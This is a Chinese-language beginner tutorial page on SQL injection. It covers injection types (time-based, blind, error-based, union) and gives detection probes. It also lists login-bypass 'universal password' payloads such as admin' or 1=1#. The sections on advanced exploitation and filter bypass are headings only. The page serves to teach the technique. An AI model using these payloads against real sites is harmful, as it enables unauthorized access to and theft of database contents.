SQL注入初级一
1.什么是SQL注入
用户提交的参数带入了SQL语句。
2.SQL注入都有哪些类型
分类:注入取数据方式不一样来分类,(按获取数据的速度排列)
1.延时注入
sleep(秒) if(true,sleep(1),0)
2.盲注(and 1=1 and 1=2)and hex(substr(data,1,1))>0
3.错误显示注入(利用数据库的错误消息来进行注入)
mysql(64个字符) group by x
oracle(大概2000个字符左右)xmltype
mssql(1前多还是2千多字符) 数字转换错误
4.union注入 union all select username from admin
3.SQL注入能干什么
1.获取数据库数据(曾删改查)
2.读写文件
3.执行操作系统命令
4.如何判断是否存在注入
数字型、字符型、搜索型
数字型:
sql="select * from news where id=1 and 1=1";
sql="select * from news where id=1 order by 1";
字符型:
1' and '1'='1
sql="select * from news where type='1' and '1'='1'";
sql="select * from news where type='1' order by 1'";
搜索型:
%' and '%'='
sql="select * from news where title like '%%'"
5.传说中的万能密码
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
sql="select * from admin where username='' and password=''";
四、SQL注入的高级利用方式
1.MySQL
2.SQLServer
五、SQL注入绕过
1.数据提交方式绕过
2.其他方式

下载地址:点此下载
粤ICP备16007663号-1
网络违法犯罪举报中心
中国互联网不良信息举报中心